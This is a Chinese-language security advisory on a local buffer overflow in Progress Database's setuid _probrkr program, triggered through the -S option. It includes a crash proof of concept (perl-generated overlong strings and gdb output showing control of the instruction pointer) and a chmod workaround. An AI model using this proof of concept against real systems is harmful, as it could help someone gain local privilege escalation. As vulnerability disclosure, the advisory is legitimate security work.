首页 -> 安全研究

安全研究

安全漏洞
Progress _probrkr本地缓冲区溢出漏洞

发布日期:2002-05-01
更新日期:2002-05-09

受影响系统:

Progress Database 9.1C
    - HP HP-UX 11.0
    - IBM AIX 4.3.3
    - Microsoft Windows NT 4.0 SP6a
    - Microsoft Windows NT 4.0 SP5
    - Microsoft Windows 2000 SP3
    - Microsoft Windows 2000 SP2
    - Microsoft Windows 2000 SP1
    - Microsoft Windows 2000
    - RedHat Linux 7.1
    - RedHat Linux 7.0
    - RedHat Linux 6.2
    - Sun Solaris 2.6
    - SuSE Linux 7.2
描述:

BUGTRAQ  ID: 4663

Progress是一款商业性质的数据库系统,可使用在Microsoft Windows和Unix操作系统下。

Progress中的_probrkr程序在处理参数边界检查时不正确,可能导致本地攻击者以Progress进程的权限在系统上执行任意指令。

_probrkr程序在处理-S选项的参数边界缺少正确的检查,攻击者可以提交过多的字符串给-S选项,导致产生缓冲区溢出,精心构建字符串数据,可使本地攻击者以Progress进程的权限在系统上执行任意指令。

此漏洞影响Progress 9.1C for Unix系统,也可能影响其他操作系统下的Progress版本。

<*来源:KF (dotslash@snosoft.com
  
  链接:http://archives.neohapsis.com/archives/bugtraq/2002-05/0010.html
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


KF (dotslash@snosoft.com)提供了如下测试方法:

[root@ghetto bin]# ls -al _probrkr
-rwsrwxr-x 1 1089 110 268306 Apr 22 15:23 _probrkr


[root@ghetto bin]# ./_probrkr -S `perl -e 'print "A" x 100'`
01:19:15 (pid 32638) BROKER
Service: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
         ** Unable to create dataserv.lg, errno = 13 (609)
01:19:15 (pid 32638) BROKER
Service: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
         Unable to open or create dataserv.lg, error 13. (2257)
01:19:15 (pid 32638) BROKER
Service: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
         ** Unable to create ds_32638.lg, errno = 13 (609)
01:19:15 (pid 32638) BROKER
Service: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
         Unable to open or create ds_32638.lg, error 13. (2257)
01:19:15 (pid 32638) BROKER
Service: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
         Unable to open dataserver log file. (2683)
01:19:15 (pid 32637) BROKER
Service: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
         ** This process terminated with exit code 2. (8619)


Hrmm lets try again.


(gdb) r -S `perl -e 'print "A" x 564'`
Starting program: /home/91c11/bin/./_probrkr -S `perl -e 'print "A" x 564'`


Program received signal SIGSEGV, Segmentation fault.
0x08071725 in stncop () at eval.c:41
41 eval.c: No such file or directory.
        in eval.c
(gdb) bt
#0 0x08071725 in stncop () at eval.c:41
#1 0x080629e2 in dblgm () at eval.c:41
#2 0x20200a20 in ?? () at eval.c:41
Cannot access memory at address 0x41414141



建议:

临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 使用chmod a-s命令移除_probrkr的相应S位。

厂商补丁:

Progress
--------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.progress.com/progress/index.htm



浏览次数:4222
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障